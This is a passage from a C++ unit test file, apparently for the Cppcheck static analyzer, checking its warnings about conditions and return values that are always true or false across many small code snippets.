{}\\n\"\n \" if (s.empty()) {}\\n\"\n \" if ((bool)0) {}\\n\"\n \" return s.empty();\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) Condition '!s.empty()' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:19]: (style) Condition 's.empty()' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:16]: (style) Condition 's.empty()' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:9]: (style) Condition '(bool)0' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:7:19]: (style) Return value 's.empty()' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"int f(bool b) {\\n\"\n \" if (b) return static_cast(1);\\n\"\n \" return (int)0;\\n\"\n \"}\\n\"\n \"bool g(bool b) {\\n\"\n \" if (b) return static_cast(1);\\n\"\n \" return (int)0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:35]: (style) Return value 'static_cast(1)' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:7:12]: (style) Return value '(int)0' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"int f() { return 3; }\\n\"\n \"int g() { return f(); }\\n\"\n \"int h() { if (f()) {} }\\n\"\n \"int i() { return f() == 3; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Condition 'f()' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:22]: (style) Return value 'f()==3' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" const char *n;\\n\"\n \" return((n=42) &&\\n\"\n \" *n == 'A');\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::istringstream& i) {\\n\" // #9327\n \" std::string s;\\n\"\n \" if (!(i >> s))\\n\"\n \" return;\\n\"\n \" if (!(i >> s))\\n\"\n \" return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11227\n check(\"struct S {\\n\"\n \"\tint get();\\n\"\n \"};\\n\"\n \"void f(const S* s) {\\n\"\n \" if (!s)\\n\"\n \" return;\\n\"\n \" g(s ? s->get() : 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:7:7]: (style) Condition 's' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const char* o) {\\n\" // #11558\n \" if (!o || !o[0])\\n\"\n \" return;\\n\"\n \" if (o[0] == '-' && o[1]) {\\n\"\n \" if (o[1] == '-') {}\\n\"\n \" if (o[1] == '\\\\0') {}\\n\"\n \" }\\n\"\n \"}\\n\");\n if (std::numeric_limits::is_signed) {\n ASSERT_EQUALS(\"[test.cpp:6:18]: (style) Condition 'o[1]=='\\\\0'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n } else {\n ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:6]: (style) Condition 'o[1]=='\\\\0'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n check(\"void f(int x) {\\n\" // #11449\n \" int i = x;\\n\"\n \" i = (std::min)(i, 1);\\n\"\n \" if (i == 1) {}\\n\"\n \" int j = x;\\n\"\n \" j = (::std::min)(j, 1);\\n\"\n \" if (j == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void h(int);\\n\" // #11679\n \"bool g(int a) { h(a); return false; }\\n\"\n \"bool f(int i) {\\n\"\n \" return g(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string a) {\\n\" // #11051\n \" a = \\\"x\\\";\\n\"\n \" if (a == \\\"x\\\") {}\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'a==\\\"x\\\"' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void g(bool);\\n\"\n \"void f() {\\n\"\n \" int i = 5;\\n\"\n \" int* p = &i;\\n\"\n \" g(i == 7);\\n\"\n \" g(p == nullptr);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Condition 'i==7' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:9]: (style) Condition 'p==nullptr' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"enum E { E0, E1 };\\n\"\n \"void f() {\\n\"\n \"\tstatic_assert(static_cast(E::E1) == 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a {\\n\"\n \" bool g();\\n\"\n \" int h();\\n\"\n \"};\\n\"\n \"void f(a c, int d, int e) {\\n\"\n \" if (c.g() && c.h()) {}\\n\"\n \" else {\\n\"\n \" bool u = false;\\n\"\n \" if (d && e)\\n\"\n \" u = true;\\n\"\n \" if (u) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #11741\n \" i = -i - 1;\\n\"\n \" if (i < 0 || i >= 20)\\n\"\n \" return 0;\\n\"\n \" return 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace S { int s{}; };\\n\" // #11046\n \"void f(bool b) {\\n\"\n \" if (S::s) {\\n\"\n \" if (b) {\\n\"\n \" if (S::s) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Condition 'S::s' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #10811\n \" int i = 0;\\n\"\n \" if ((i = g(), 1) != 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:22]: (style) Condition '(i=g(),1)!=0' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(unsigned i) {\\n\"\n \" const int a[2] = {};\\n\"\n \" const int* q = a + i;\\n\"\n \" if (q) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Condition 'q' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #12786\n \" const int b[2] = {};\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Condition 'b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int j = 0;\\n\"\n \" switch (i) {\\n\"\n \" case 1:\\n\"\n \" j = 0;\\n\"\n \" break;\\n\"\n \" default:\\n\"\n \" j = 1;\\n\"\n \" }\\n\"\n \" if (j != 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const char *s1 = foo();\\n\"\n \" const char *s2 = bar();\\n\"\n \" if (s2 == NULL)\\n\"\n \" return;\\n\"\n \" size_t len = s2 - s1;\\n\"\n \" if (len == 0)\\n\"\n \" return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int h();\\n\" // #12858\n \"bool g() {\\n\"\n \" bool b{};\\n\"\n \" try {\\n\"\n \" int x = h();\\n\"\n \" switch (x) {\\n\"\n \" default:\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" b = false;\\n\"\n \" }\\n\"\n \" return b;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" if (g()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x, int y) {\\n\" // #11822\n \" if (x) {\\n\"\n \" switch (y) {\\n\"\n \" case 1:\\n\"\n \" return 7;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" \\n\"\n \" if (y)\\n\"\n \" return 8;\\n\"\n \" \\n\"\n \" if (x)\\n\"\n \" return 9;\\n\"\n \" \\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\" // #10561\n \"bool h();\\n\"\n \"int f() {\\n\"\n \" bool b = false;\\n\"\n \" try {\\n\"\n \" switch (g()) {\\n\"\n \" default:\\n\"\n \" b = h();\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {}\\n\"\n \" return b ? 1 : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" const S* get2() const {\\n\"\n \" if (mS)\\n\"\n \" return mS;\\n\"\n \" return this;\\n\"\n \" }\\n\"\n \" S* mS = nullptr;\\n\"\n \"};\\n\"\n \"void f2() {\\n\"\n \" const S s;\\n\"\n \" const S* sp2 = s.get2();\\n\"\n \" if (sp2) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:12:9]: (style) Condition 'sp2' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" void f(int i);\\n\"\n \" bool g() const { return !m.empty(); }\\n\"\n \" std::set m;\\n\"\n \"};\\n\"\n \"void S::f(int i) {\\n\"\n \" bool b = g();\\n\"\n \" auto it = m.find(i);\\n\"\n \" if (it != m.end()) {\\n\"\n \" m.erase(it);\\n\"\n \" if (g() != b) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrueSymbolic()\n {\n check(\"void f(const uint32_t x) {\\n\"\n \" uint32_t y[1];\\n\"\n \" y[0]=x;\\n\"\n \" if(x > 0 || y[0] < 42){}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:4:22]: (style) Condition 'y[0]<42' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if(x < y && x < 42) {\\n\"\n \" --x;\\n\"\n \" if(x == y) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:4:14]: (style) Condition 'x==y' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) { if (a == b && a && !b){} }\");\n ASSERT_EQUALS(\"[test.cpp:1:41] -> [test.cpp:1:46]: (style) Condition '!b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f(bool a, bool b) { if(a && b && (!a)){} }\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:1:40]: (style) Condition '!a' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if (x < y) {\\n\"\n \" auto z = y - x;\\n\"\n \" if (z < 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:11]: (style) Condition 'z<1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f(int &index, const int s, const double * const array, double & x) {\\n\"\n \" if (index >= s)\\n\"\n \" return false;\\n\"\n \" else {\\n\"\n \" x = array[index];\\n\"\n \" return (index++) >= s;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:6:26]: (style) Return value '(index++)>=s' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct a {\\n\"\n \" a *b() const;\\n\"\n \"} c;\\n\"\n \"void d() {\\n\"\n \" a *e = nullptr;\\n\"\n \" e = c.b();\\n\"\n \" if (e) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int i) {\\n\"\n \" if (i < 256)\\n\"\n \" return 1;\\n\"\n \" const int N = 2 * i;\\n\"\n \" i -= 256;\\n\"\n \" if (i == 0)\\n\"\n \" return 0;\\n\"\n \" return N;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i, int j) {\\n\"\n \" if (i < j) {\\n\"\n \" i++;\\n\"\n \" if (i >= j)\\n\"\n \" return;\\n\"\n \" i++;\\n\"\n \" if (i >= j) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int get_delta() {\\n\"\n \" clock_t now_ms = (clock() / (CLOCKS_PER_SEC / 1000));\\n\"\n \" static clock_t last_clock_ms = now_ms;\\n\"\n \" clock_t delta = now_ms - last_clock_ms;\\n\"\n \" last_clock_ms = now_ms;\\n\"\n \" if (delta > 50)\\n\"\n \" delta = 50;\\n\"\n \" return delta;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10555\n check(\"struct C {\\n\"\n \" int GetI() const { return i; }\\n\"\n \" int i{};\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" C *m_PC{};\\n\"\n \" Modify();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void test(); \\n\"\n \"};\\n\"\n \"void D::test() {\\n\"\n \" const int I = m_PC->GetI();\\n\"\n \" Modify();\\n\"\n \" if (m_PC->GetI() != I) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10624\n check(\"struct Data {\\n\"\n \" Base* PBase{};\\n\"\n \"};\\n\"\n \"void f(Data* BaseData) {\\n\"\n \" Base* PObj = BaseData->PBase;\\n\"\n \" if (PObj == nullptr)\\n\"\n \" return;\\n\"\n \" Derived* pD = dynamic_cast(PObj);\\n\"\n \" if (pD) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9549\n check(\"void f(const uint32_t v) {\\n\"\n \" const uint32_t v16 = v >> 16;\\n\"\n \" if (v16) {\\n\"\n \" const uint32_t v8 = v16 >> 8;\\n\"\n \" if (v8) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10649\n check(\"void foo(struct diag_msg *msg) {\\n\"\n \" msg = msg->next;\\n\"\n \" if (msg == NULL)\\n\"\n \" return CMD_OK;\\n\"\n \" msg = msg->next;\\n\"\n \" if (msg == NULL)\\n\"\n \" return CMD_OK;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(bool a, bool b) {\\n\"\n \" if((!a == !b) && !a && b)\\n\"\n \" return 1;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:2:26]: (style) Condition 'b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11124\n check(\"struct Basket {\\n\"\n \"\tstd::vector getApples() const;\\n\"\n \"\tstd::vector getBananas() const;\t\\n\"\n \"};\\n\"\n \"int getFruit(const Basket & b, bool preferApples)\\n\"\n \"{\\n\"\n \" std::vector apples = b.getApples();\\n\"\n \" int apple = apples.empty() ? -1 : apples.front();\\n\"\n \" std::vector bananas = b.getBananas();\\n\"\n \" int banana = bananas.empty() ? -1 : bananas.front();\\n\"\n \" int fruit = std::max(apple, banana);\\n\"\n \" if (fruit == -1)\\n\"\n \" return fruit;\\n\"\n \" if (std::min(apple, banana) != -1)\\n\"\n \" fruit = preferApples ? apple : banana;\\n\"\n \" return fruit;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string & s, int i) {\\n\"\n \" const char c = s[i];\\n\"\n \" if (!std::isalnum(c)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11404\n \" int f() const;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void h(std::vector::iterator it) {\\n\"\n \" auto i = (*it)->f();\\n\"\n \" (*it)->g();\\n\"\n \" auto j = (*it)->f();\\n\"\n \" if (i == j) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11384\n check(\"bool f(const int* it, const int* end) {\\n\"\n \"\treturn (it != end) && *it++ &&\\n\"\n \" (it != end) && *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12116\n check(\"void f(int n) {\\n\"\n \" for (int i = 0; i < N; ++i) {\\n\"\n \" if (i < n) {}\\n\"\n \" else if (i > n) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12681\n check(\"void f(unsigned u) {\\n\"\n \" if (u > 0) {\\n\"\n \" u--;\\n\"\n \" if (u == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned u) {\\n\"\n \" if (u < 0xFFFFFFFF) {\\n\"\n \" u++;\\n\"\n \" if (u == 0xFFFFFFFF) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\" // #12937\n \" bool c = !a && b;\\n\"\n \" if (a) {}\\n\"\n \" else {\\n\"\n \" if (c) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned x) {\\n\" // #13522\n \" unsigned u = x;\\n\"\n \" int i = u - 0;\\n\"\n \" if (i < 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrueInfer() {\n check(\"void f(int x) {\\n\"\n \" if (x > 5) {\\n\"\n \" x++;\\n\"\n \" if (x == 1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:15]: (style) Condition 'x==1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5) {\\n\"\n \" x++;\\n\"\n \" if (x != 1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:15]: (style) Condition 'x!=1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #6890\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x == -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x==-1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x != -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x!=-1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x >= -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x>=-1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x > -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x>-1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x < -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x<-1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x <= -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x<=-1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x > 7) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x>7' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x > 9) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x > 10) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11100\n check(\"struct T {\\n\"\n \" bool m{};\\n\"\n \" void f(bool b);\\n\"\n \" bool get() const { return m; }\\n\"\n \" void set(bool v) { m = v; }\\n\"\n \"};\\n\"\n \"void T::f(bool b) {\\n\"\n \"\tbool tmp = get();\\n\"\n \"\tset(b);\\n\"\n \"\tif (tmp != get()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9541\n check(\"int f(int pos, int a) {\\n\"\n \" if (pos <= 0)\\n\"\n \" pos = 0;\\n\"\n \" else if (pos < a)\\n\"\n \" if(pos > 0)\\n\"\n \" --pos;\\n\"\n \" return pos;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:5:16]: (style) Condition 'pos>0' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9721\n check(\"void f(int x) {\\n\"\n \" if (x > 127) {\\n\"\n \" if ( (x>255) || (-128>x) )\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:30]: (style) Condition '-128>x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #8778\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 19; ++i)\\n\"\n \" if(i<=18) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Condition 'i<=18' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #8209\n check(\"void f() {\\n\"\n \" for(int x = 0; x < 3; ++x)\\n\"\n \" if(x == -5) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Condition 'x==-5' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #8407\n check(\"int f(void) {\\n\"\n \" for(int i = 0; i <1; ++i)\\n\"\n \" if(i == 0) return 1; \\n\" // <<\n \" else return 0;\\n\"\n \" return -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Condition 'i==0' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(unsigned int u1, unsigned int u2) {\\n\"\n \" if (u1 <= 10 && u2 >= 20) {\\n\"\n \" if (u1 != u2) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:3:16]: (style) Condition 'u1!=u2' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10544\n check(\"void f(int N) {\\n\"\n \" if (N > 0) {\\n\"\n \" while (N)\\n\"\n \" N = test();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11098\n check(\"void f(unsigned int x) { if (x == -1u) {} }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const int *p, const int *q) {\\n\"\n \" return p != NULL && q != NULL && p == NULL;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:40]: (style) Return value 'p==NULL' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #11789\n \" std::vector v;\\n\"\n \" void f(int i) const;\\n\"\n \"};\\n\"\n \"void S::f(int i) const {\\n\"\n \" int j = i - v.size();\\n\"\n \" if (j >= 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\" // #12039\n \" if ((128 + i < 255 ? 128 + i : 255) > 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12727\n \" bool f() const {\\n\"\n \" return g() > 0;\\n\"\n \" }\\n\"\n \" std::size_t g() const {\\n\"\n \" return 5 - h();\\n\"\n \" }\\n\"\n \" std::size_t h() const {\\n\"\n \" if (x > 7)\\n\"\n \" return 5;\\n\"\n \" return (5 + x) % 5;\\n\"\n \" }\\n\"\n \" std::size_t x;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrueContainer() {\n // #9329\n check(\"void c1(std::vector&);\\n\"\n \"void c2(std::vector&);\\n\"\n \"void foo(int flag) {\\n\"\n \" std::vector g;\\n\"\n \" if (flag)\\n\"\n \" c1(g );\\n\"\n \" else\\n\"\n \" c2(g );\\n\"\n \" if ( !g.empty() )\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int flag) {\\n\"\n \" std::vector g;\\n\"\n \" if (flag)\\n\"\n \" c1(g );\\n\"\n \" else\\n\"\n \" c2(g );\\n\"\n \" if ( !g.empty() )\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void g();\\n\"\n \" void f(bool b) {\\n\"\n \" v.clear();\\n\"\n \" g();\\n\"\n \" return !v.empty();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10409\n check(\"void foo(const std::string& s) {\\n\"\n \" if( s.size() < 2 ) return;\\n\"\n \" if( s == \\\"ab\\\" ) return;\\n\"\n \" if( s.size() < 3 ) return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::string& s) {\\n\"\n \" if( s.size() < 2 ) return;\\n\"\n \" if( s != \\\"ab\\\" )\\n\"\n \" if( s.size() < 3 ) return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10226\n check(\"int f(std::vector::iterator it, const std::vector& vector) {\\n\"\n \" if (!(it != vector.end() && it != vector.begin()))\\n\"\n \" throw 0;\\n\"\n \" if (it != vector.end() && *it == 0)\\n\"\n \" return -1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Condition 'it!=vector.end()' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11303\n check(\"void f(int n) {\\n\"\n \" std::vector buffer(n);\\n\"\n \" if(buffer.back() == 0 ||\\n\"\n \" buffer.back() == '\\\\n' ||\\n\"\n \" buffer.back() == '\\\\0') {}\\n\"\n \"}\\n\");\n if (std::numeric_limits::is_signed) {\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Condition 'buffer.back()=='\\\\0'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n } else {\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (style) Condition 'buffer.back()=='\\\\0'' is always false\\n\", errout_str());\n }\n\n // #9353\n check(\"struct X { std::string s; };\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (std::vector::const_iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" if (!it->s.empty()) {\\n\"\n \" if (!it->s.empty()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:5:17]: (style) Condition '!it->s.empty()' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct X { std::string s; };\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (std::vector::const_iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" if (!it->s.empty()) {\\n\"\n \" if (!it->s.empty()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:5:17]: (style) Condition '!it->s.empty()' is always true [knownConditionTrueFalse]\\n\", \"\", errout_str());\n\n // #10508\n check(\"bool f(const std::string& a, const std::string& b) {\\n\"\n \" return a.empty() || (b.empty() && a.empty());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19] -> [test.cpp:2:46]: (style) Return value 'a.empty()' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" struct iterator;\\n\"\n \" iterator begin() const;\\n\"\n \" iterator end() const;\\n\"\n \"};\\n\"\n \"A g();\\n\"\n \"void f(bool b) {\\n\"\n \" std::set s;\\n\"\n \" auto v = g();\\n\"\n \" s.insert(v.begin(), 